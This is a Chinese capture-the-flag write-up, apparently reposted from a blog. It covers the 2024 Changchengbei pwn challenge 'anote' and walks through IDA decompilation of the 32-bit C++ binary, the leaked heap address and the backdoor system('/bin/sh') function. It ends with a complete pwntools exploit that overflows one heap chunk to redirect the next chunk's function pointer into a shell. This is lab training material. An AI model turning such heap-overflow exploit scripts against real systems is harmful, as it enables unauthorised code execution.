欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 金融 > [长城杯 2024]anote

[长城杯 2024]anote

2025/5/20 5:49:20 来源:https://blog.csdn.net/2401_88087539/article/details/148076433  浏览:    关键词:[长城杯 2024]anote

题解前的小吐槽:终于还是狠下心复现了一下长城杯的这个赛题,第一次觉得汇编比函数看的方便,不过这题好写是好写的[心虚](还是看了一些大佬的wp)

[长城杯 2024]anote(堆溢出C++)

[长城杯 2024]anote

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file anote
anote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2f50b307eb804b02b8c74e414bc661a749d70d7, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=anote
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFYFortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		1		anote

这题是一个C++题目,因为题目的解答没有涉及到libc文件,我在ubuntu系统中安装了一下32的C++libc环境,最后也是能打通,所以没有更换libc版本

2.ida分析
main函数
int __cdecl main(int a1)
{int v1; // ebxunsigned int i; // eaxint v3; // eaxint v4; // eaxint v5; // ebxint v6; // eaxint v7; // eaxstd::istream *v8; // eaxint v9; // eaxstd::istream *v10; // eaxint v12; // [esp-8h] [ebp-70h]int v13; // [esp-8h] [ebp-70h]int v14; // [esp-8h] [ebp-70h]int v15; // [esp-8h] [ebp-70h]int v16; // [esp-4h] [ebp-6Ch]int v17; // [esp-4h] [ebp-6Ch]int v18; // [esp-4h] [ebp-6Ch]int v19; // [esp-4h] [ebp-6Ch]int n9_1; // [esp+0h] [ebp-68h] BYREFsize_t n; // [esp+4h] [ebp-64h] BYREFint n3; // [esp+8h] [ebp-60h] BYREFint n9; // [esp+Ch] [ebp-5Ch]int n10; // [esp+10h] [ebp-58h]int v25; // [esp+14h] [ebp-54h]int v26; // [esp+18h] [ebp-50h]int v27; // [esp+1Ch] [ebp-4Ch]int v28; // [esp+20h] [ebp-48h]int v29; // [esp+24h] [ebp-44h]int v30; // [esp+28h] [ebp-40h]int v31; // [esp+2Ch] [ebp-3Ch]int v32; // [esp+30h] [ebp-38h]int v33; // [esp+34h] [ebp-34h]int v34; // [esp+38h] [ebp-30h]int src; // [esp+3Ch] [ebp-2Ch] BYREFint v36; // [esp+40h] [ebp-28h]int v37; // [esp+44h] [ebp-24h]int v38; // [esp+48h] [ebp-20h]int v39; // [esp+4Ch] [ebp-1Ch]unsigned int v40; // [esp+5Ch] [ebp-Ch]int *v41; // [esp+60h] [ebp-8h]v41 = &a1;v40 = __readgsdword(0x14u);n9 = 0;n10 = 10;while ( 1 ){sub_804895C();         if ( n9 > 9 )break;std::istream::operator>>(&std::cin, &n3);if ( n3 == 2 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_1,n,2,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::operator>>(&std::cin, &n9_1);if ( n9_1 >= n9 ){v4 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v13,v17,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);exit(0);}v5 = *(&v25 + n9_1);v6 = std::operator<<<std::char_traits<char>>(&std::cout,"gift: ",v13,v17,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v7 = std::ostream::operator<<(v6, v5);std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);sub_80489E8(*(&v25 + n9_1));}else if ( n3 == 3 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_1,n,3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v8 = (std::istream *)std::istream::operator>>(&std::cin, &n9_1);std::istream::get(v8);if ( n9_1 >= n9 ){v9 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v14,v18,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"len: ",v14,v18,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);std::istream::get(v10);if ( (int)n > 40 ){std::operator<<<std::char_traits<char>>(&std::cout,"too big!\n",v15,v19,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"content: ",v15,v19,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);sub_8048A86(*(&v25 + n9_1), &src, n9_1, n);(**(void (__cdecl ***)(_DWORD))*(&v25 + n9_1))(*(&v25 + n9_1));}else{if ( n3 != 1 )exit(0);v1 = operator new(0x1Cu);for ( i = 0; i < 0x1C; i += 4 )*(_DWORD *)(v1 + i) = 0;sub_8048DFC(v1);v3 = n9++;*(&v25 + v3) = v1;std::operator<<<std::char_traits<char>>(&std::cout,"got new one!\n",v12,v16,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);}}std::operator<<<std::char_traits<char>>(&std::cout,"too much!!!\n",v12,v16,n9_1,n,n3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);return 0;
}

开头先是一个sub_804895C函数

点击查看会发现他有一个警告,在0x804896F的地方分析失败,限制了我们查看这个函数

.text:0804895B                 align 4
.text:0804895C
.text:0804895C ; =============== S U B R O U T I N E =======================================
.text:0804895C
.text:0804895C ; Attributes: bp-based frame
.text:0804895C
.text:0804895C ; int sub_804895C(void)
.text:0804895C sub_804895C     proc near               ; CODE XREF: main:loc_8048ADC↓p
.text:0804895C ; __unwind {
.text:0804895C                 push    ebp
.text:0804895D                 mov     ebp, esp
.text:0804895F                 sub     esp, 8
.text:08048962                 sub     esp, 8
.text:08048965                 push    offset a1Add    ; "1. add\n"
.text:0804896A                 push    offset _ZSt4cout ; std::cout
.text:0804896F                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:08048974                 add     esp, 10h
.text:08048977                 sub     esp, 8
.text:0804897A                 push    offset a2ShowContent ; "2. show content\n"
.text:0804897F                 push    offset _ZSt4cout ; std::cout
.text:08048984                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:08048989                 add     esp, 10h
.text:0804898C                 sub     esp, 8
.text:0804898F                 push    offset a3EditContent ; "3. edit content\n"
.text:08048994                 push    offset _ZSt4cout ; std::cout
.text:08048999                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:0804899E                 add     esp, 10h
.text:080489A1                 sub     esp, 8
.text:080489A4                 push    offset a4Exit   ; "4. exit\n"
.text:080489A9                 push    offset _ZSt4cout ; std::cout
.text:080489AE                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:080489B3                 add     esp, 10h
.text:080489B6                 sub     esp, 8
.text:080489B9                 push    offset aChoice  ; "Choice>>"
.text:080489BE                 push    offset _ZSt4cout ; std::cout
.text:080489C3                 call    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*)
.text:080489C8                 add     esp, 10h
.text:080489CB                 nop
.text:080489CC                 leave
.text:080489CD                 retn
.text:080489CD ; } // starts at 804895C
.text:080489CD sub_804895C     endp
.text:080489CD
.text:080489CE

看汇编码就能看出这是一个menu菜单函数,但如果想看C++的话,可以直接在ida里面改一下这个地址的内容,我是直接改成了nop

menu函数
// positive sp value has been detected, the output may be wrong!
int sub_804895C()
{int v1; // [esp-17Ch] [ebp-184h]int v2; // [esp-178h] [ebp-180h]int v3; // [esp-174h] [ebp-17Ch]int v4; // [esp-170h] [ebp-178h]int v5; // [esp-16Ch] [ebp-174h]int v6; // [esp-168h] [ebp-170h]int v7; // [esp-164h] [ebp-16Ch]int v8; // [esp-160h] [ebp-168h]int v9; // [esp-15Ch] [ebp-164h]int v10; // [esp-158h] [ebp-160h]int v11; // [esp-154h] [ebp-15Ch]int v12; // [esp-150h] [ebp-158h]int v13; // [esp-14Ch] [ebp-154h]int v14; // [esp-148h] [ebp-150h]int v15; // [esp-144h] [ebp-14Ch]int v16; // [esp-140h] [ebp-148h]int v17; // [esp-13Ch] [ebp-144h]int v18; // [esp-138h] [ebp-140h]int v19; // [esp-134h] [ebp-13Ch]int v20; // [esp-130h] [ebp-138h]int v21; // [esp-12Ch] [ebp-134h]int v22; // [esp-128h] [ebp-130h]int v23; // [esp-11Ch] [ebp-124h]int v24; // [esp-118h] [ebp-120h]int v25; // [esp-114h] [ebp-11Ch]int v26; // [esp-110h] [ebp-118h]int v27; // [esp-10Ch] [ebp-114h]int v28; // [esp-108h] [ebp-110h]int v29; // [esp-104h] [ebp-10Ch]int v30; // [esp-100h] [ebp-108h]int v31; // [esp-FCh] [ebp-104h]int v32; // [esp-F8h] [ebp-100h]int v33; // [esp-F4h] [ebp-FCh]int v34; // [esp-F0h] [ebp-F8h]int v35; // [esp-ECh] [ebp-F4h]int v36; // [esp-E8h] [ebp-F0h]int v37; // [esp-E4h] [ebp-ECh]int v38; // [esp-E0h] [ebp-E8h]int v39; // [esp-DCh] [ebp-E4h]int v40; // [esp-D8h] [ebp-E0h]int v41; // [esp-D4h] [ebp-DCh]int v42; // [esp-D0h] [ebp-D8h]int v43; // [esp-CCh] [ebp-D4h]int v44; // [esp-C8h] [ebp-D0h]int v45; // [esp-BCh] [ebp-C4h]int v46; // [esp-B8h] [ebp-C0h]int v47; // [esp-B4h] [ebp-BCh]int v48; // [esp-B0h] [ebp-B8h]int v49; // [esp-ACh] [ebp-B4h]int v50; // [esp-A8h] [ebp-B0h]int v51; // [esp-A4h] [ebp-ACh]int v52; // [esp-A0h] [ebp-A8h]int v53; // [esp-9Ch] [ebp-A4h]int v54; // [esp-98h] [ebp-A0h]int v55; // [esp-94h] [ebp-9Ch]int v56; // [esp-90h] [ebp-98h]int v57; // [esp-8Ch] [ebp-94h]int v58; // [esp-88h] [ebp-90h]int v59; // [esp-84h] [ebp-8Ch]int v60; // [esp-80h] [ebp-88h]int v61; // [esp-7Ch] [ebp-84h]int v62; // [esp-78h] [ebp-80h]int v63; // [esp-74h] [ebp-7Ch]int v64; // [esp-70h] [ebp-78h]int v65; // [esp-6Ch] [ebp-74h]int v66; // [esp-68h] [ebp-70h]int v67; // [esp-5Ch] [ebp-64h]int v68; // [esp-58h] [ebp-60h]int v69; // [esp-54h] [ebp-5Ch]int v70; // [esp-50h] [ebp-58h]int v71; // [esp-4Ch] [ebp-54h]int v72; // [esp-48h] [ebp-50h]int v73; // [esp-44h] [ebp-4Ch]int v74; // [esp-40h] [ebp-48h]int v75; // [esp-3Ch] [ebp-44h]int v76; // [esp-38h] [ebp-40h]int v77; // [esp-34h] [ebp-3Ch]int v78; // [esp-30h] [ebp-38h]int v79; // [esp-2Ch] [ebp-34h]int v80; // [esp-28h] [ebp-30h]int v81; // [esp-24h] [ebp-2Ch]int v82; // [esp-20h] [ebp-28h]int v83; // [esp-1Ch] [ebp-24h]int v84; // [esp-18h] [ebp-20h]int v85; // [esp-14h] [ebp-1Ch]int v86; // [esp-10h] [ebp-18h]int v87; // [esp-Ch] [ebp-14h]int v88; // [esp-8h] [ebp-10h]std::operator<<<std::char_traits<char>>(&std::cout,"2. show content\n",v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22);std::operator<<<std::char_traits<char>>(&std::cout,"3. edit content\n",v23,v24,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,v35,v36,v37,v38,v39,v40,v41,v42,v43,v44);std::operator<<<std::char_traits<char>>(&std::cout,"4. exit\n",v45,v46,v47,v48,v49,v50,v51,v52,v53,v54,v55,v56,v57,v58,v59,v60,v61,v62,v63,v64,v65,v66);return std::operator<<<std::char_traits<char>>(&std::cout,"Choice>>",v67,v68,v69,v70,v71,v72,v73,v74,v75,v76,v77,v78,v79,v80,v81,v82,v83,v84,v85,v86,v87,v88);
}

因为我们改的正好是add函数调用输出函数语句,改为空值nop,所以最后menu菜单函数里面没有add函数,这个没什么关系,不会影响程序运行
最后我们得到的是1--add函数,2--show函数,3--edit函数,程序没有删除函数

add函数
    else{if ( n9_1 != 1 )exit(0);v1 = operator new(0x1Cu);for ( i = 0; i < 0x1C; i += 4 )*(_DWORD *)(v1 + i) = 0;sub_8048DFC(v1);v3 = n9++;*(&v25 + v3) = v1;std::operator<<<std::char_traits<char>>(&std::cout,"got new one!\n",v12,v16,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);}

这里是添加堆块,直接创建一个28(0x1C)大小的堆块

show函数
    if ( n9_1 == 2 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_2,n,2,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::operator>>(&std::cin, &n9_2);if ( n9_2 >= n9 ){v4 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v13,v17,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);exit(0);}v5 = *(&v25 + n9_2);v6 = std::operator<<<std::char_traits<char>>(&std::cout,"gift: ",v13,v17,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v7 = std::ostream::operator<<(v6, v5);std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);sub_80489E8(*(&v25 + n9_2));}

看提示语会发现,他在正常输出堆块内容的同时,还会有一个gift,具体的在运行程序时会发现,这个gift是泄露了一个地址

edit函数
else if ( n9_1 == 3 ){std::operator<<<std::char_traits<char>>(&std::cout,"index: ",v12,v16,n9_2,n,3,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v8 = (std::istream *)std::istream::operator>>(&std::cin, &n9_2);std::istream::get(v8);if ( n9_2 >= n9 ){v9 = std::operator<<<std::char_traits<char>>(&std::cout,"the item does not exist.",v14,v18,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"len: ",v14,v18,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);std::istream::get(v10);if ( (int)n > 40 ){std::operator<<<std::char_traits<char>>(&std::cout,"too big!\n",v15,v19,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);exit(0);}std::operator<<<std::char_traits<char>>(&std::cout,"content: ",v15,v19,n9_2,n,n9_1,n9,n10,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,src,v36,v37,v38,v39);std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);sub_8048A86(*(&v25 + n9_2), &src, n9_2, n);(**(void (__cdecl ***)(_DWORD))*(&v25 + n9_2))(*(&v25 + n9_2));}

这里修改堆块数据,虽然限制长度不能大于40,但这里的堆溢出足够我们修改下一个堆块的数据了
最后看到有system函数

就顺带去字符串表中看了一下

还发现了/bin/sh,追溯一下

sub_80489CE函数(后门函数)
int sub_80489CE()
{return system("/bin/sh");
}

直接的连接点system("/bin/sh")
 


连接地址为0x80489CE

3.EXP
思路:

这题是堆溢出,泄露了一个地址,有直接的连接点system("/bin/sh")
先创建两个堆块,show一个,接收gift地址,看一下给的gift地址是什么

from pwn import *
context.log_level = "debug"
# io=remote('node1.anna.nssctf.cn',28855)
io= process('/home/motaly/anote')def add():io.sendlineafter("Choice>>", "1")def show(index):io.sendlineafter("Choice>>", "2")io.sendlineafter("index:", str(index))def edit(index, len, content):io.sendlineafter("Choice>>", "3")io.sendlineafter("index:", str(index))io.sendlineafter("len:", str(len))io.sendlineafter("content:", content)sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))

我们show的是0块,gift给的是0块的起始地址
所以我们可以在0块写入连接地址,通过堆溢出,覆盖到1块,并改写1块的指针,使其指向0块我们写入连接地址的地方,最后我们可以用edit编辑一下1块,调用1块触发连接

sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)

先随便测试一下

看到红线出是输入点
我们先写入连接地址p32(sh)
填充16个值到下一个堆块的size位b'a'16
写入下一个堆块的size值p32(0x21)
gift是0块的起始地址0x96a77d0,我们需要gift+8才能到0x96a77d8,我们写入连接地址的地方

最后调用一下1块触发连接

sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)
gdb.attach(io)
pause()
edit(1,0x10,b'a')
脚本:
from pwn import *
context.log_level = "debug"
# io=remote('node1.anna.nssctf.cn',28855)
io= process('/home/motaly/anote')def add():io.sendlineafter("Choice>>", "1")def show(index):io.sendlineafter("Choice>>", "2")io.sendlineafter("index:", str(index))def edit(index, len, content):io.sendlineafter("Choice>>", "3")io.sendlineafter("index:", str(index))io.sendlineafter("len:", str(len))io.sendlineafter("content:", content)sh=0x80489CEadd() #0
add() #1
show(0)io.recvuntil(b'gift:')
gift=int(io.recv(10),16)
log.success('gift :'+hex(gift))
payload=p32(sh)+b'a'*16+p32(0x21)+p32(gift+8)
edit(0,0x28,payload)
gdb.attach(io)
pause()
edit(1,0x10,b'a')
io.interactive()

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词